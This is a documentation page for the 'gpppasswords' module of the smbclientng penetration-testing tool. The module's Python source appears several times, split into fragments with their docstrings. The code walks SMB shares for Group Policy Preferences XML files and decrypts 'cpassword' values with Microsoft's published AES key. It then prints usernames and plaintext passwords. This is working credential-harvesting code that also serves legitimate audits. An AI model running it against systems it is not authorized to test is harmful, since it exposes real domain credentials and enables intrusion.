smbclientng.modules.GPPPasswords
1#!/usr/bin/env python3 2# -*- coding: utf-8 -*- 3# File name : GPPPasswords.py 4# Author : Podalirius (@podalirius_) 5# Date created : 02 june 2024 6 7 8import base64 9import charset_normalizer 10from Cryptodome.Cipher import AES 11from Cryptodome.Util.Padding import unpad 12import impacket 13import io 14import ntpath 15import re 16from smbclientng.core.Module import Module 17from smbclientng.core.ModuleArgumentParser import ModuleArgumentParser 18from smbclientng.core.utils import windows_ls_entry 19import xml 20from xml.dom import minidom 21 22 23class GPPPasswords(Module): 24 """ 25 GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. 26 It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files. 27 28 This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices. 29 30 Attributes: 31 name (str): The name of the module, used in command line invocation. 32 description (str): A brief description of what the module does. 33 34 Methods: 35 parseArgs(arguments): Parses and handles command line arguments for the module. 36 parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials. 37 """ 38 39 name = "gpppasswords" 40 description = "Searches for Group Policy Preferences Passwords in a share." 41 42 def parseArgs(self, arguments): 43 """ 44 Parses the command line arguments provided to the module. 45 46 This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions. 47 48 Args: 49 arguments (str): A string of command line arguments. 50 51 Returns: 52 ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested. 53 """ 54 55 parser = ModuleArgumentParser(prog=self.name, description=self.description) 56 57 # Adding positional arguments 58 parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.") 59 60 # Adding actions 61 parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 62 parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 63 64 # Other options 65 parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.") 66 parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).") 67 68 if len(arguments.strip()) == 0: 69 parser.print_help() 70 return None 71 else: 72 self.options = self.processArguments(parser, arguments) 73 74 return self.options 75 76 def parse_xmlfile_content(self, pathtofile): 77 """ 78 Parses the content of an XML file to extract credentials related to Group Policy Preferences. 79 80 This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files. 81 82 Args: 83 pathtofile (str): The path to the XML file on the SMB share. 84 85 Returns: 86 list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes. 87 """ 88 89 results = [] 90 fh = io.BytesIO() 91 try: 92 # opening the files in streams instead of mounting shares allows for running the script from 93 # unprivileged containers 94 self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write) 95 except impacket.smbconnection.SessionError as e: 96 return results 97 except Exception as e: 98 raise 99 rawdata = fh.getvalue() 100 fh.close() 101 gppp_found = False 102 encoding = charset_normalizer.detect(rawdata)["encoding"] 103 if encoding is not None: 104 filecontent = rawdata.decode(encoding).rstrip() 105 if "cpassword" in filecontent: 106 gppp_found = True 107 else: 108 if self.config.debug: 109 print("[debug] No cpassword was found in %s" % pathtofile) 110 111 if gppp_found: 112 try: 113 root = minidom.parseString(filecontent) 114 xmltype = root.childNodes[0].tagName 115 # function to get attribute if it exists, returns "" if empty 116 read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "") 117 118 # ScheduledTasks 119 if xmltype == "ScheduledTasks": 120 for topnode in root.childNodes: 121 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 122 for task in task_nodes: 123 for property in task.getElementsByTagName("Properties"): 124 results.append({ 125 "tagName": xmltype, 126 "attributes": { 127 "username": read_or_empty(task, "name"), 128 "runAs": read_or_empty(property, "runAs"), 129 "cpassword": read_or_empty(property, "cpassword"), 130 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 131 "changed": read_or_empty(property.parentNode, "changed"), 132 }, 133 "file": pathtofile 134 }) 135 elif xmltype == "Groups": 136 for topnode in root.childNodes: 137 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 138 for task in task_nodes: 139 for property in task.getElementsByTagName("Properties"): 140 results.append({ 141 "tagName": xmltype, 142 "attributes": { 143 "username": read_or_empty(property, "newName"), 144 # "userName": read_or_empty(property, "userName"), 145 "cpassword": read_or_empty(property, "cpassword"), 146 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 147 "changed": read_or_empty(property.parentNode, "changed"), 148 }, 149 "file": pathtofile 150 }) 151 else: 152 for topnode in root.childNodes: 153 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 154 for task in task_nodes: 155 for property in task.getElementsByTagName("Properties"): 156 results.append({ 157 "tagName": xmltype, 158 "attributes": { 159 "username": read_or_empty(property, "newName"), 160 # "userName": read_or_empty(property, "userName"), 161 "cpassword": read_or_empty(property, "cpassword"), 162 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 163 "changed": read_or_empty(property.parentNode, "changed"), 164 }, 165 "file": pathtofile 166 }) 167 168 except Exception as e: 169 raise 170 171 return results 172 173 def decrypt_password(self, pw_enc_b64): 174 """ 175 Decrypts a password from its Base64 encoded form using a known AES key and IV. 176 177 This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password. 178 179 Args: 180 pw_enc_b64 (str): The Base64 encoded string of the encrypted password. 181 182 Returns: 183 str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails. 184 """ 185 186 if len(pw_enc_b64) != 0: 187 # Thank you Microsoft for publishing the key :) 188 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be 189 key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" 190 # Thank you Microsoft for using a fixed IV :) 191 iv = b"\x00" * 16 192 pad = len(pw_enc_b64) % 4 193 if pad == 1: 194 pw_enc_b64 = pw_enc_b64[:-1] 195 elif pad == 2 or pad == 3: 196 pw_enc_b64 += "=" * (4 - pad) 197 pw_enc = base64.b64decode(pw_enc_b64) 198 ctx = AES.new(key, AES.MODE_CBC, iv) 199 pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) 200 return pw_dec.decode("utf-16-le") 201 else: 202 # cpassword is empty, cannot decrypt anything. 203 return "" 204 205 def __find_callback(self, entry, fullpath, depth): 206 """ 207 Callback function for SMB session find method. This function is called for each entry found in the search. 208 209 This function checks if the entry is a file with an '.xml' extension. If it is, it parses the XML content to extract relevant data such as usernames and passwords. It then prints the file path and the extracted data if the current depth is within the specified minimum and maximum depth range. 210 211 Args: 212 entry (SMBEntry): The current file or directory entry being processed. 213 fullpath (str): The full path to the current entry. 214 depth (int): Depth of the path. 215 216 Returns: 217 None: This function does not return any value. 218 """ 219 220 # Match and print results 221 do_print_results = True 222 if self.options.mindepth is not None: 223 if depth < self.options.mindepth: 224 do_print_results = False 225 if self.options.maxdepth is not None: 226 if depth > self.options.maxdepth: 227 do_print_results = False 228 229 if do_print_results: 230 if (not entry.is_directory()) and (entry.get_longname().lower().endswith('.xml')): 231 data = self.parse_xmlfile_content(fullpath) 232 if data is not None: 233 if len(data) != 0: 234 print("[+] %s" % fullpath) 235 for entry in data: 236 if self.config.no_colors: 237 print(" | username: '%s'" % entry["attributes"]["username"]) 238 print(" | password: '%s'" % entry["attributes"]["password"]) 239 else: 240 print(" | \x1b[94musername\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["username"]) 241 print(" | \x1b[94mpassword\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["password"]) 242 if len(data) > 1: 243 print("|") 244 return None 245 246 def run(self, arguments): 247 """ 248 This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria. 249 250 Args: 251 base_dir (str): The base directory to start the search from. 252 paths (list): List of paths to search within the base directory. 253 depth (int): The current depth level in the directory hierarchy. 254 255 Returns: 256 None 257 """ 258 259 self.options = self.parseArgs(arguments=arguments) 260 261 if self.options is not None: 262 # Entrypoint 263 try: 264 next_directories_to_explore = [] 265 for path in list(set(self.options.paths)): 266 next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep) 267 next_directories_to_explore = sorted(list(set(next_directories_to_explore))) 268 269 self.smbSession.find( 270 paths=next_directories_to_explore, 271 callback=self.__find_callback 272 ) 273 274 except (BrokenPipeError, KeyboardInterrupt) as e: 275 print("[!] Interrupted.") 276 self.smbSession.close_smb_session() 277 self.smbSession.init_smb_session()
24class GPPPasswords(Module): 25 """ 26 GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. 27 It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files. 28 29 This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices. 30 31 Attributes: 32 name (str): The name of the module, used in command line invocation. 33 description (str): A brief description of what the module does. 34 35 Methods: 36 parseArgs(arguments): Parses and handles command line arguments for the module. 37 parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials. 38 """ 39 40 name = "gpppasswords" 41 description = "Searches for Group Policy Preferences Passwords in a share." 42 43 def parseArgs(self, arguments): 44 """ 45 Parses the command line arguments provided to the module. 46 47 This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions. 48 49 Args: 50 arguments (str): A string of command line arguments. 51 52 Returns: 53 ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested. 54 """ 55 56 parser = ModuleArgumentParser(prog=self.name, description=self.description) 57 58 # Adding positional arguments 59 parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.") 60 61 # Adding actions 62 parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 63 parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 64 65 # Other options 66 parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.") 67 parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).") 68 69 if len(arguments.strip()) == 0: 70 parser.print_help() 71 return None 72 else: 73 self.options = self.processArguments(parser, arguments) 74 75 return self.options 76 77 def parse_xmlfile_content(self, pathtofile): 78 """ 79 Parses the content of an XML file to extract credentials related to Group Policy Preferences. 80 81 This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files. 82 83 Args: 84 pathtofile (str): The path to the XML file on the SMB share. 85 86 Returns: 87 list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes. 88 """ 89 90 results = [] 91 fh = io.BytesIO() 92 try: 93 # opening the files in streams instead of mounting shares allows for running the script from 94 # unprivileged containers 95 self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write) 96 except impacket.smbconnection.SessionError as e: 97 return results 98 except Exception as e: 99 raise 100 rawdata = fh.getvalue() 101 fh.close() 102 gppp_found = False 103 encoding = charset_normalizer.detect(rawdata)["encoding"] 104 if encoding is not None: 105 filecontent = rawdata.decode(encoding).rstrip() 106 if "cpassword" in filecontent: 107 gppp_found = True 108 else: 109 if self.config.debug: 110 print("[debug] No cpassword was found in %s" % pathtofile) 111 112 if gppp_found: 113 try: 114 root = minidom.parseString(filecontent) 115 xmltype = root.childNodes[0].tagName 116 # function to get attribute if it exists, returns "" if empty 117 read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "") 118 119 # ScheduledTasks 120 if xmltype == "ScheduledTasks": 121 for topnode in root.childNodes: 122 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 123 for task in task_nodes: 124 for property in task.getElementsByTagName("Properties"): 125 results.append({ 126 "tagName": xmltype, 127 "attributes": { 128 "username": read_or_empty(task, "name"), 129 "runAs": read_or_empty(property, "runAs"), 130 "cpassword": read_or_empty(property, "cpassword"), 131 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 132 "changed": read_or_empty(property.parentNode, "changed"), 133 }, 134 "file": pathtofile 135 }) 136 elif xmltype == "Groups": 137 for topnode in root.childNodes: 138 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 139 for task in task_nodes: 140 for property in task.getElementsByTagName("Properties"): 141 results.append({ 142 "tagName": xmltype, 143 "attributes": { 144 "username": read_or_empty(property, "newName"), 145 # "userName": read_or_empty(property, "userName"), 146 "cpassword": read_or_empty(property, "cpassword"), 147 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 148 "changed": read_or_empty(property.parentNode, "changed"), 149 }, 150 "file": pathtofile 151 }) 152 else: 153 for topnode in root.childNodes: 154 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 155 for task in task_nodes: 156 for property in task.getElementsByTagName("Properties"): 157 results.append({ 158 "tagName": xmltype, 159 "attributes": { 160 "username": read_or_empty(property, "newName"), 161 # "userName": read_or_empty(property, "userName"), 162 "cpassword": read_or_empty(property, "cpassword"), 163 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 164 "changed": read_or_empty(property.parentNode, "changed"), 165 }, 166 "file": pathtofile 167 }) 168 169 except Exception as e: 170 raise 171 172 return results 173 174 def decrypt_password(self, pw_enc_b64): 175 """ 176 Decrypts a password from its Base64 encoded form using a known AES key and IV. 177 178 This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password. 179 180 Args: 181 pw_enc_b64 (str): The Base64 encoded string of the encrypted password. 182 183 Returns: 184 str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails. 185 """ 186 187 if len(pw_enc_b64) != 0: 188 # Thank you Microsoft for publishing the key :) 189 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be 190 key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" 191 # Thank you Microsoft for using a fixed IV :) 192 iv = b"\x00" * 16 193 pad = len(pw_enc_b64) % 4 194 if pad == 1: 195 pw_enc_b64 = pw_enc_b64[:-1] 196 elif pad == 2 or pad == 3: 197 pw_enc_b64 += "=" * (4 - pad) 198 pw_enc = base64.b64decode(pw_enc_b64) 199 ctx = AES.new(key, AES.MODE_CBC, iv) 200 pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) 201 return pw_dec.decode("utf-16-le") 202 else: 203 # cpassword is empty, cannot decrypt anything. 204 return "" 205 206 def __find_callback(self, entry, fullpath, depth): 207 """ 208 Callback function for SMB session find method. This function is called for each entry found in the search. 209 210 This function checks if the entry is a file with an '.xml' extension. If it is, it parses the XML content to extract relevant data such as usernames and passwords. It then prints the file path and the extracted data if the current depth is within the specified minimum and maximum depth range. 211 212 Args: 213 entry (SMBEntry): The current file or directory entry being processed. 214 fullpath (str): The full path to the current entry. 215 depth (int): Depth of the path. 216 217 Returns: 218 None: This function does not return any value. 219 """ 220 221 # Match and print results 222 do_print_results = True 223 if self.options.mindepth is not None: 224 if depth < self.options.mindepth: 225 do_print_results = False 226 if self.options.maxdepth is not None: 227 if depth > self.options.maxdepth: 228 do_print_results = False 229 230 if do_print_results: 231 if (not entry.is_directory()) and (entry.get_longname().lower().endswith('.xml')): 232 data = self.parse_xmlfile_content(fullpath) 233 if data is not None: 234 if len(data) != 0: 235 print("[+] %s" % fullpath) 236 for entry in data: 237 if self.config.no_colors: 238 print(" | username: '%s'" % entry["attributes"]["username"]) 239 print(" | password: '%s'" % entry["attributes"]["password"]) 240 else: 241 print(" | \x1b[94musername\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["username"]) 242 print(" | \x1b[94mpassword\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["password"]) 243 if len(data) > 1: 244 print("|") 245 return None 246 247 def run(self, arguments): 248 """ 249 This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria. 250 251 Args: 252 base_dir (str): The base directory to start the search from. 253 paths (list): List of paths to search within the base directory. 254 depth (int): The current depth level in the directory hierarchy. 255 256 Returns: 257 None 258 """ 259 260 self.options = self.parseArgs(arguments=arguments) 261 262 if self.options is not None: 263 # Entrypoint 264 try: 265 next_directories_to_explore = [] 266 for path in list(set(self.options.paths)): 267 next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep) 268 next_directories_to_explore = sorted(list(set(next_directories_to_explore))) 269 270 self.smbSession.find( 271 paths=next_directories_to_explore, 272 callback=self.__find_callback 273 ) 274 275 except (BrokenPipeError, KeyboardInterrupt) as e: 276 print("[!] Interrupted.") 277 self.smbSession.close_smb_session() 278 self.smbSession.init_smb_session()
GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.
This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.
Attributes: name (str): The name of the module, used in command line invocation. description (str): A brief description of what the module does.
Methods: parseArgs(arguments): Parses and handles command line arguments for the module. parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.
43 def parseArgs(self, arguments): 44 """ 45 Parses the command line arguments provided to the module. 46 47 This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions. 48 49 Args: 50 arguments (str): A string of command line arguments. 51 52 Returns: 53 ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested. 54 """ 55 56 parser = ModuleArgumentParser(prog=self.name, description=self.description) 57 58 # Adding positional arguments 59 parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.") 60 61 # Adding actions 62 parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 63 parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 64 65 # Other options 66 parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.") 67 parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).") 68 69 if len(arguments.strip()) == 0: 70 parser.print_help() 71 return None 72 else: 73 self.options = self.processArguments(parser, arguments) 74 75 return self.options
Parses the command line arguments provided to the module.
This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.
Args: arguments (str): A string of command line arguments.
Returns: ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.
77 def parse_xmlfile_content(self, pathtofile): 78 """ 79 Parses the content of an XML file to extract credentials related to Group Policy Preferences. 80 81 This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files. 82 83 Args: 84 pathtofile (str): The path to the XML file on the SMB share. 85 86 Returns: 87 list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes. 88 """ 89 90 results = [] 91 fh = io.BytesIO() 92 try: 93 # opening the files in streams instead of mounting shares allows for running the script from 94 # unprivileged containers 95 self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write) 96 except impacket.smbconnection.SessionError as e: 97 return results 98 except Exception as e: 99 raise 100 rawdata = fh.getvalue() 101 fh.close() 102 gppp_found = False 103 encoding = charset_normalizer.detect(rawdata)["encoding"] 104 if encoding is not None: 105 filecontent = rawdata.decode(encoding).rstrip() 106 if "cpassword" in filecontent: 107 gppp_found = True 108 else: 109 if self.config.debug: 110 print("[debug] No cpassword was found in %s" % pathtofile) 111 112 if gppp_found: 113 try: 114 root = minidom.parseString(filecontent) 115 xmltype = root.childNodes[0].tagName 116 # function to get attribute if it exists, returns "" if empty 117 read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "") 118 119 # ScheduledTasks 120 if xmltype == "ScheduledTasks": 121 for topnode in root.childNodes: 122 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 123 for task in task_nodes: 124 for property in task.getElementsByTagName("Properties"): 125 results.append({ 126 "tagName": xmltype, 127 "attributes": { 128 "username": read_or_empty(task, "name"), 129 "runAs": read_or_empty(property, "runAs"), 130 "cpassword": read_or_empty(property, "cpassword"), 131 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 132 "changed": read_or_empty(property.parentNode, "changed"), 133 }, 134 "file": pathtofile 135 }) 136 elif xmltype == "Groups": 137 for topnode in root.childNodes: 138 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 139 for task in task_nodes: 140 for property in task.getElementsByTagName("Properties"): 141 results.append({ 142 "tagName": xmltype, 143 "attributes": { 144 "username": read_or_empty(property, "newName"), 145 # "userName": read_or_empty(property, "userName"), 146 "cpassword": read_or_empty(property, "cpassword"), 147 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 148 "changed": read_or_empty(property.parentNode, "changed"), 149 }, 150 "file": pathtofile 151 }) 152 else: 153 for topnode in root.childNodes: 154 task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] 155 for task in task_nodes: 156 for property in task.getElementsByTagName("Properties"): 157 results.append({ 158 "tagName": xmltype, 159 "attributes": { 160 "username": read_or_empty(property, "newName"), 161 # "userName": read_or_empty(property, "userName"), 162 "cpassword": read_or_empty(property, "cpassword"), 163 "password": self.decrypt_password(read_or_empty(property, "cpassword")), 164 "changed": read_or_empty(property.parentNode, "changed"), 165 }, 166 "file": pathtofile 167 }) 168 169 except Exception as e: 170 raise 171 172 return results
Parses the content of an XML file to extract credentials related to Group Policy Preferences.
This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.
Args: pathtofile (str): The path to the XML file on the SMB share.
Returns: list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.
174 def decrypt_password(self, pw_enc_b64): 175 """ 176 Decrypts a password from its Base64 encoded form using a known AES key and IV. 177 178 This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password. 179 180 Args: 181 pw_enc_b64 (str): The Base64 encoded string of the encrypted password. 182 183 Returns: 184 str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails. 185 """ 186 187 if len(pw_enc_b64) != 0: 188 # Thank you Microsoft for publishing the key :) 189 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be 190 key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" 191 # Thank you Microsoft for using a fixed IV :) 192 iv = b"\x00" * 16 193 pad = len(pw_enc_b64) % 4 194 if pad == 1: 195 pw_enc_b64 = pw_enc_b64[:-1] 196 elif pad == 2 or pad == 3: 197 pw_enc_b64 += "=" * (4 - pad) 198 pw_enc = base64.b64decode(pw_enc_b64) 199 ctx = AES.new(key, AES.MODE_CBC, iv) 200 pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) 201 return pw_dec.decode("utf-16-le") 202 else: 203 # cpassword is empty, cannot decrypt anything. 204 return ""
Decrypts a password from its Base64 encoded form using a known AES key and IV.
This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.
Args: pw_enc_b64 (str): The Base64 encoded string of the encrypted password.
Returns: str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.
247 def run(self, arguments): 248 """ 249 This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria. 250 251 Args: 252 base_dir (str): The base directory to start the search from. 253 paths (list): List of paths to search within the base directory. 254 depth (int): The current depth level in the directory hierarchy. 255 256 Returns: 257 None 258 """ 259 260 self.options = self.parseArgs(arguments=arguments) 261 262 if self.options is not None: 263 # Entrypoint 264 try: 265 next_directories_to_explore = [] 266 for path in list(set(self.options.paths)): 267 next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep) 268 next_directories_to_explore = sorted(list(set(next_directories_to_explore))) 269 270 self.smbSession.find( 271 paths=next_directories_to_explore, 272 callback=self.__find_callback 273 ) 274 275 except (BrokenPipeError, KeyboardInterrupt) as e: 276 print("[!] Interrupted.") 277 self.smbSession.close_smb_session() 278 self.smbSession.init_smb_session()
This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
Args: base_dir (str): The base directory to start the search from. paths (list): List of paths to search within the base directory. depth (int): The current depth level in the directory hierarchy.
Returns: None